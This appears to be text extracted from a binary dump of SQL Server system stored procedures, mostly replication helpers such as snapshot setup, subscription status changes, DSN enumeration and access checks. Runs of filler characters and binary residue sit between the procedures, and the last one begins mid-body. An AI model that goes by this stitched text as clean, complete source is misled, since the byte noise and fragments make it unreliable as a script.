    @snapshot_job_name				nvarchar(100) = NULL,
	@publisher_security_mode		int = NULL,
	@publisher_login				sysname = NULL,
	@publisher_password 			sysname = NULL,
	@job_login 						nvarchar(257) = NULL,
	@job_password 					sysname = NULL,
	@publisher						sysname	= NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader		= @cmd            OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_addpublication_snapshot'

	
	EXEC @retcode = @cmd
					@publication,
					@frequency_type,
					@frequency_interval,
					@frequency_subday,
					@frequency_subday_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@active_start_date,
					@active_end_date,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@snapshot_job_name,
					@publisher_security_mode,
					@publisher_login,
					@publisher_password,
					@job_login,
					@job_password,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`[<BOe0u 68
create procedure sys.sp_check_constraints_rowset
(
    @constraint_name    sysname,
    @constraint_schema  sysname = null
)
as
    select
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(o.schema_id),
        CONSTRAINT_NAME     = o.name,
        CHECK_CLAUSE        = convert(nvarchar(4000), m.definition), -- keep the type as it used to be in Shiloh
        DESCRIPTION         = convert(nvarchar(1), null)
    from
        sys.all_objects o inner join
        sys.check_constraints m on (o.type = 'C ' and m.object_id = o.object_id)
    where
        (@constraint_schema is null and o.name = @constraint_name) or
        object_id(quotename(@constraint_schema) + '.' + quotename(@constraint_name)) = o.object_id
    order by 1,2,3
0u J8

create procedure sys.sp_check_constraints_rowset;2
(
    @constraint_schema  sysname = null
)
as
--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(o.schema_id),
        CONSTRAINT_NAME     = o.name,
        CHECK_CLAUSE        = convert(nvarchar(4000), m.definition), -- keep the type as it used to be in Shiloh
        DESCRIPTION         = convert(nvarchar(1), null)
    from
        sys.all_objects o inner join
        sys.check_constraints m on (o.type = 'C ' and m.object_id = o.object_id)
    where
        @constraint_schema is null or schema_id(@constraint_schema) = o.schema_id -- check schema IDs

    order by 1,2,3
0g* 8CREATE VIEW sys.dm_filestream_file_io_requests AS
    SELECT *
    FROM OpenRowset(TABLE DM_FILESTREAM_FILE_IO_REQUESTS)
0Iɠ@ &8
create procedure sys.sp_MSdeletetranconflictrow ( 
    @tran_id sysname,
    @row_id sysname = '%',                      -- % = ALL
    @conflict_table sysname)
as 
begin
    set nocount on
    declare @retcode int
                ,@cmd nvarchar(4000)
                ,@startoffset int
                ,@table	sysname
                ,@schema sysname

    /*
    **  Security check.  restrict to 'sysadmin' and member of db_owner role
    */ 
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return (1)

    if (@conflict_table is NULL)
    begin
        raiserror(14043, 16, 1, '@conflict_table', 'sp_MSdeletetranconflictrow')
        return (1)
    end
    --
    -- check if the conflict table is owner qualified
    -- and build the delete string as necessary
    --
    select @table = PARSENAME(@conflict_table, 1),
    		@schema = PARSENAME(@conflict_table, 2)
    		
    select @cmd = 'delete ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table)
            + ' where tranid = ' + QUOTENAME(@tran_id, '''')

    if (@row_id != N'%')
    begin
        select @cmd = @cmd +
        ' and qcfttabrowid = ' + QUOTENAME(@row_id, '''')
    end
    
    execute (@cmd)
end
0\ 8
8
--
-- Name:    
--          sp_IHscriptupdateparams
--          
-- Description: 
--          Script update with params
--  
-- Security: 
--          Public (for use by snapshot agent)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) of commands
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_IHscriptupdateparams
(
	@src_objid		int,
	@artid			int,
	@artcolcounter	bit = 0,	-- 0 means it does column counting base on pk, 1 means base on article columns
	@param_count	int = NULL output
)
as
begin
	declare @this_col int
	declare @art_col int
	declare @spacer nvarchar(10)
	declare @isset int
	declare @cmd nvarchar(4000)

	-- add colval parameters
	select @param_count = -1
	select @art_col = 1
	select @spacer = N' '
	select @cmd = ''

	DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
	select colid from IHsyscolumns where id = @src_objid order by colorder asc

	OPEN hCColid

	FETCH hCColid INTO @this_col

	WHILE ( 1 = 1 )
	begin
		if @@fetch_status = -1
		begin
			-- If called by sp_IHscriptxupdproc and it is the first time
			-- at the end of the cursor loop
			if @artcolcounter = 1 and @param_count = -1
			begin
				-- Reset it so that we know we encountered cursor end once.
				select @param_count = 0
				-- Reopen cursor
				CLOSE hCColid
				DEALLOCATE hCColid
				DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
				select colid from IHsyscolumns where id = @src_objid order by colorder asc
				OPEN hCColid
				FETCH hCColid INTO @this_col
				continue
			end
			else
				break;
		end
		exec @isset = sys.sp_IHisarticlecolbitset @this_col, @artid
		if @isset != 0 and EXISTS (select name from IHsyscolumns where id=@src_objid and @this_col=colid)
		begin
			select @cmd = @cmd + @spacer + N'@c' + convert( nvarchar, @art_col ) + N' ' + sys.fn_IHgettypestring(@src_objid, @this_col)
			select @art_col = @art_col + 1
			select @spacer = N','

			if len( @cmd ) > 3000
			begin
			insert into #proctext(procedure_text) values( @cmd )
				select @cmd = N''
			end
		end
		FETCH hCColid INTO @this_col
	end
	CLOSE hCColid
	DEALLOCATE hCColid

	select @param_count = @art_col -1

	-- add pkval parameters
	-- If it is 1 we are called by sp_IHscriptxupdproc, no need for PK params
	if @artcolcounter = 0
	begin
		select @art_col = 1

		DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
		select	ihc.publishercolumn_id
		from	IHsyscolumns ihsc,
				IHcolumns ihc
		where	ihc.column_id = ihsc.colid
		  and	ihsc.id = @src_objid
		order by ihsc.colorder asc

		OPEN hCColid

		FETCH hCColid INTO @this_col

		WHILE (@@fetch_status <> -1)
		begin
		exec @isset = sys.fn_IHiscolpk @this_col
		if @isset != 0 and EXISTS (select name from IHsyscolumns where id=@src_objid and @this_col=colid )
		begin
				select @cmd = @cmd + @spacer + N'@pkc' + convert( nvarchar, @art_col ) + N' ' + sys.fn_IHgettypestring(@src_objid, @this_col)
				select @art_col = @art_col + 1
				select @spacer = N','

				if len( @cmd ) > 3000
				begin
				insert into #proctext(procedure_text) values( @cmd )
					select @cmd = N''
				end
			end
			FETCH hCColid INTO @this_col
		end
		CLOSE hCColid
		DEALLOCATE hCColid
	end

	insert into #proctext(procedure_text) values ( @cmd )
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|@
|
`<
GCIo-0@ 8create procedure sys.sp_MSscript_procbodystart 
(
    @queued_pub bit = 0
    ,@identity_insert bit = 0
)
as
BEGIN
    declare @cmd          nvarchar(4000)

    --
    -- script the initial declarations and assignments
    --
    select @cmd = N'    ,@execution_mode tinyint = 0)
AS
BEGIN
    set nocount on '
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- script generic local variables
    --
    select @cmd = N'
    declare @retcode int
                ,@rowcount int
                ,@error int
                ,@reinit int
                ,@cmd nvarchar(max)'
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- script specific local variables
    --
    select @cmd = N'
    declare @immediate tinyint '
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N' 
                ,@QFirstPass tinyint
                ,@QPubWins tinyint
                ,@QSubWins tinyint
                ,@QReinit tinyint
                ,@cftcase int
'
    end
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- script identity specific local variables
    --
    if (@identity_insert = 1)
    begin
        select @cmd = N'
                ,@iderror int'
        insert into #proctext(procedure_text) values(@cmd)
    end
    --
    -- script initialization of variables
    --
    select @cmd = N' 
    select @immediate = 0 '
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'     
            ,@QFirstPass = 1
            ,@QPubWins  = 2
            ,@QSubWins = 3
            ,@QReinit = 4
'
    end    
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- script initialization of identity specific local variables
    --
    if (@identity_insert = 1)
    begin
        select @cmd = N'
            ,@iderror = 0'
        insert into #proctext(procedure_text) values(@cmd)
    end
    --
    -- all done
    --
    return 0
END
0j 8
--
-- Name:    
--          sp_MSrepl_DistributorPALAccess
--          
-- Description:
-- 
--          This stored procedure runs in any database at a distributor.  It returns
--          Success (0) if the current user has PAL access to distribution related 
--          information at the distributor.  Access is granted to those in the
--          db_owner or replmonitor role of the/any distribution database.  Access is
--          also granted to those in the PAL of the/any publication of the/any publisher
--          that makes use of the/any distribution database at this distributor.
--
--          If @distribution_db is specified, only this distribution database is checked.
--          If @distribution_db is not specified, all distribution databases are checked. 
--
--          If @publisher is specified, only this publisher is checked.
--          If @publisher is not specified, all publishers are checked.
--
--          If @publication is specified, only this publication is checked.
--          If @publication is not specified, all publications are checked.
--
--          If @publication is specified, @publisher must be specified as well.
--
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_MSrepl_DistributorPALAccess(
    @distribution_db sysname = '%',
    @publisher sysname = '%',
    @publication sysname = '%'
) AS

    declare
         @db_name sysname
        ,@has_access bit
        ,@cmd nvarchar(200)
        ,@retcode int

    select @has_access = 1

    --
    -- Search sysdababases for distribution databases
    --
    declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR
        select dist.name 
              from master.dbo.sysdatabases d 
        inner join msdb.dbo.MSdistributiondbs dist
                on dist.name = d.name collate database_default
        inner join msdb.dbo.MSdistpublishers p
                on p.distribution_db = dist.name collate database_default
             where dist.name like @distribution_db collate database_default
               and UPPER(p.name collate database_default) LIKE UPPER(@publisher) collate database_default
               and has_dbaccess(d.name) = 1 
            
    open hCdatabase
    fetch next from hCdatabase into @db_name
    while (@@fetch_status <> -1 and @has_access = 1)
    begin
        --
        -- Check to see if the user has PAL access to the distribution database.
        --
        begin
            -- Check 'db_owner' and 'replmonitor' roles in distribution database or
            -- determine whether the user is in the PAL for any publication associated
            -- with this distribution database
            select @cmd = quotename(@db_name) + N'.sys.sp_MSrepl_DistDBPALAccess'
            exec @retcode = @cmd @publisher = @publisher,
                @publication = @publication
            if @retcode = 0 and @@error = 0
                select @has_access = 0
        end
        fetch next from hCdatabase into @db_name
    end
    close hCdatabase
    deallocate hCdatabase
    return(@has_access)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S`
<bDD01W 8create procedure sys.sp_MSrepl_browsesnapshotfolder
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname,
    @publisher        sysname,
    @publisher_type    sysname
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode        INT
    DECLARE @publisher_db   sysname
    DECLARE @distributor    sysname
    DECLARE @distributiondb sysname
    DECLARE @distproc       nvarchar(300)
    DECLARE @article_id     INT
    
    SELECT @retcode = 0
    SELECT @publisher_db = DB_NAME()
    SELECT @distributor = NULL
    SELECT @distributiondb = NULL
    SELECT @article_id = NULL

    -- Set publisher to be case insensitive by using UPPERCASE
    SELECT    @publisher = UPPER(@publisher)

    EXEC @retcode = dbo.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    -- Either both of @subscriber and @subscriber_db are NULL or
    -- both of them have to be non-null
    IF ((@subscriber IS NULL OR @subscriber = N'') 
        AND @subscriber_db IS NOT NULL AND @subscriber_db <> N'') OR
       ((@subscriber_db IS NULL OR @subscriber_db = N'') 
        AND @subscriber IS NOT NULL AND @subscriber <> N'')
    BEGIN
        RAISERROR(21148, 16, -1)
    END
    
    IF EXISTS (SELECT * FROM sys.objects WHERE name = N'syspublications') AND
       EXISTS (SELECT * FROM sys.objects WHERE name = N'sysextendedarticlesview')
    BEGIN
    
        -- Set publisher name if not HREPL
        IF (@publisher_type = N'MSSQLSERVER')    
        BEGIN
            SELECT    @publisher = publishingservername()
        END
    
        -- Get the smallest article id for the publication since 
        -- method for identifying a publication is not readily available 
        -- on the distributor

        IF (@publisher_type = N'MSSQLSERVER')
        BEGIN
            SELECT @article_id = MIN(artid) 
            FROM sysextendedarticlesview sa
            INNER JOIN syspublications sp
            ON sa.pubid = sp.pubid
            WHERE sp.name = @publication
        END
        ELSE
        BEGIN
            SELECT    @article_id = MIN(article_id) 
            FROM    IHarticles IHA,
                    IHpublications IHP,
                    master.dbo.sysservers ss
            WHERE    IHA.publication_id = IHP.pubid
              AND    IHA.publisher_id = ss.srvid
              AND    IHP.name = @publication
        END

        IF @article_id IS NULL
        BEGIN
            RAISERROR(20026, 16, -1, @publication)
        END         

        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                               @distribdb = @distributiondb OUTPUT,
                                               @publisher = @publisher
        IF @retcode <> 0
            RETURN @retcode
    
        SELECT @distributor = RTRIM(@distributor)
    
        IF LOWER(@@SERVERNAME) <> LOWER(@distributor)
        BEGIN
            SELECT @distproc = @distributor + '.' + @distributiondb + 
                               '.dbo.sp_MSbrowsesnapshotfolder'
        END
        ELSE
        BEGIN
            SELECT @distproc = QUOTENAME(@distributiondb) + '.dbo.sp_MSbrowsesnapshotfolder'
        END
        EXECUTE @retcode = @distproc
                    @publisher = @publisher, 
                    @publisher_db = @publisher_db,
                    @article_id = @article_id,
                    @subscriber = @subscriber,
                    @subscriber_db = @subscriber_db
        RETURN @retcode
    END
    ELSE
    BEGIN
        RAISERROR(21149, 16, -1, @publisher_db)
        RETURN 1
    END
END
0^^@ N
8create procedure sys.sp_changesubstatus
(
    @publication					sysname = '%',
    @article						sysname = '%',
    @subscriber						sysname = '%',	
    @status							sysname,
    @previous_status				sysname = NULL,
    @destination_db					sysname = '%',
    @frequency_type					int = NULL,
    @frequency_interval				int = NULL,
    @frequency_relative_interval	int = NULL,
    @frequency_recurrence_factor	int = NULL,
    @frequency_subday				int = NULL,
    @frequency_subday_interval		int = NULL,
    @active_start_time_of_day		int = NULL,
    @active_end_time_of_day			int = NULL,
    @active_start_date				int = NULL,
    @active_end_date				int = NULL,
    @optional_command_line			nvarchar(4000) = NULL,
    @distribution_jobid				binary(16) = NULL OUTPUT,
    @from_auto_sync					bit = 0,
    @ignore_distributor				bit = 0,
    -- Agent offload
    @offloadagent					bit = 0,
    @offloadserver					sysname = NULL,
    @dts_package_name				sysname = NULL,
    @dts_package_password			nvarchar(524) = NULL,
    @dts_package_location			int = 0,
    @skipobjectactivation			int = 0,
    @distribution_job_name			sysname = NULL,
    @publisher						sysname = NULL
	,@ignore_distributor_failure bit = 0
) AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE	@publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT,
													@skipSecurityCheck	= 1
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changesubstatus'
	
	EXEC @retcode = @cmd
					@publication,
					@article,
					@subscriber,
					@status,
					@previous_status,
					@destination_db,
					@frequency_type,
					@frequency_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@frequency_subday,
					@frequency_subday_interval,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@active_start_date,
					@active_end_date,
					@optional_command_line,
					@distribution_jobid OUTPUT,
					@from_auto_sync,
					@ignore_distributor,
					-- Agent offload
					@offloadagent,
					@offloadserver,
					@dts_package_name,
					@dts_package_password,
					@dts_package_location,
					@skipobjectactivation,
					@distribution_job_name,
					@publisher,
					@publisher_type
					,@ignore_distributor_failure

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`=F<:
E(+˗0$ 	8create procedure sys.sp_addumpdevice	-- 1995/09/07 12:01
	@devtype varchar(20),				-- disk, tape, or virtual_device
	@logicalname   sysname,				-- logical name of the device
	@physicalname  nvarchar(260),		-- physical name of the device
	@cntrltype  smallint = null,		-- obsolete: controller type - ignored.
	@devstatus  varchar(40) = null      -- obsolete: device characteristics -ignored
as
	declare @type_enum	smallint -- devtype enumeration value
	declare @returncode int
	declare @devtypeIn varchar(20)
	select @devtypeIn = @devtype
		   ,@devtype = LOWER (@devtype collate Latin1_General_CI_AS)
	-- An open txn might jeopardize a recovery.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_addumpdevice')
		return (1)
	end

	-- You must be SA to execute this sproc.
	if (not is_srvrolemember('diskadmin') = 1)
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	-- Check out the @devtype.
	select @type_enum = (case @devtype
		when 'disk'				then 2
		when 'tape'				then 5
		when 'virtual_device'	then 7
		end)

	if @type_enum is null
	begin
		raiserror(15044,-1,-1,@devtypeIn)
		return (1)
	end

	-- Check the args are not NULL.
	if @logicalname is null
	begin
		raiserror(15045,-1,-1)
		return(1)
	end

	-- Check to see that the @logicalname is valid.
	EXEC @returncode = sys.sp_validname @logicalname
	if @returncode <> 0
		return(1)

	if @physicalname is null
	begin
		raiserror(15046,-1,-1)
		return(1)
	end

	-- Prohibit certain special english words from being logical names.
	if (@logicalname IN ('disk', 'tape', 'virtual_device'))
	begin
		raiserror(15285,-1,-1,@logicalname)
		return (1)
	end

	BEGIN TRANSACTION
	-- Make sure that a device with @logicalname doesn't already exist.
	--  Always turn on the dump status bit, ignore @skip_tape (not in use)
	EXEC %%Device().NewDevice(Name = @logicalname, PhysicalName = @physicalname,
		Type = @type_enum, Size = 0)
	if @@error <> 0	-- duplicate logical name
	begin
		ROLLBACK TRANSACTION
		raiserror(15026,-1,-1,@logicalname)
		return (1)
	end

	-- Make sure physical file name would be unique among devices.
	if (select count(*) from master.dbo.sysdevices where phyname = @physicalname) > 1
	begin
		ROLLBACK TRANSACTION
		raiserror(15061,-1,-1,@physicalname)
		return (1)
	end

	COMMIT TRANSACTION

	return (0) -- sp_addumpdevice
0l@ 8
create procedure sys.sp_enumdsn
    AS

    if 1 <> is_srvrolemember('sysadmin')
    begin
    	raiserror(15247,-1,-1)
    	return 1
	end

    SET NOCOUNT ON

    DECLARE @distributor sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @retcode int

    DECLARE @dsotype_odbc int
    DECLARE @dsotype_oledb int

    select @dsotype_odbc = 1
    select @dsotype_oledb = 3

    /*
    ** Get distribution server information for remote RPC
    ** subscription calls.
    */

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT
    IF @@error <> 0 OR @retcode <> 0 or @distributor is null
        BEGIN
        RAISERROR (14071, 16, -1)
            RETURN (1)
    END

    create table #datasourcestemptable (DataSourceName sysname collate database_default not null, Description nvarchar(255) collate database_default null, DataSourceType int null, ProviderName nvarchar(255) collate database_default null)
    
    /*
    ** Call xp_enumdsn
    */
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.master.sys.xp_enumdsn'
    insert into #datasourcestemptable(DataSourceName, Description) EXEC @retcode = @distproc
    IF @@error <> 0
        BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    update #datasourcestemptable set DataSourceType = @dsotype_odbc where DataSourceType is null
    IF @@error <> 0 
    BEGIN
        RETURN (1)
    END

    /*
    ** Call sp_enumoledbdatasources
    */
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.master.sys.sp_enumoledbdatasources'
    insert into #datasourcestemptable(DataSourceName, Description, ProviderName) EXEC @retcode = @distproc
    IF @@error <> 0
        BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    update #datasourcestemptable set DataSourceType = @dsotype_oledb where DataSourceType is null
    IF @@error <> 0 
    BEGIN
        RETURN (1)
    END
    
    select 'Data Source Name' = DataSourceName, Description, 'Type' = DataSourceType, 'Provider Name' = ProviderName 
    from #datasourcestemptable
    order by 3, 1

    drop table #datasourcestemptable

    return (0)
 FAILURE
			END
			ELSE
			BEGIN
				-- PUBLISHER DATABASES
				--
				-- Check if the user is DBO or PAL of MERGE or TRAN (no hetero)
				-- Published database. If so we will grant them access to the info
				SELECT @proc = QUOTENAME(@database) + '.sys.sp_executesql',
						@cmd = N'IF IS_MEMBER(N''db_owner'') = 1 OR sys.fn_isrolemember(0, SUSER_SNAME(), NULL) = 1 BEGIN SELECT @has_access = 1 END ELSE BEGIN SELECT @has_access = 0 END'

				EXEC @retcode = @proc @cmd,
										N'@has_access bit output',
										@has_access output
				IF @@ERROR != 0 OR @retcode != 0
					GOTO FAILURE
			END

			IF @has_access = 1
				BREAK

			FETCH #curDbs INTO @is_distdb, @database
		END

		CLOSE #curDbs
		DEALLOCATE #curDbs
	END

	-- if the user has access then we will retrieve
	-- the information... if not then we return NULLs
	IF @has_access = 1
	BEGIN
		SELECT @distributor = datasource 
    		FROM master.dbo.sysservers
			WHERE srvstatus & 8 <> 0

		IF @distributor IS NOT NULL
    		SELECT @installed = 1

		IF UPPER(@distributor) = UPPER(@@SERVERNAME)
		BEGIN
			IF EXISTS (SELECT * FROM msdb.dbo.MSdistributiondbs) 
				SELECT @distdb_installed = 1
			
			IF EXISTS (SELECT * FROM msdb..MSdistpublishers WHERE UPPER(name) = UPPER(@@SERVERNAME) COLLATE database_default)
				SELECT @is_distpublisher = 1
			
			IF EXISTS (SELECT * FROM msdb..MSdistpublishers WHERE UPPER(name) <> UPPER(@@SERVERNAME) COLLATE database_default)
				SELECT @has_remote_distpublisher = 1
		END
	END

    SELECT 'installed'							= @installed, 
			'distribution server'				= @distributor,
            'distribution db installed'			= @distdb_installed,
            'is distribution publisher'			= @is_distpublisher,
            'has remote distribution publisher' = @has_remote_distpublisher

	RETURN 0
FAILURE:
	RETURN 1
END
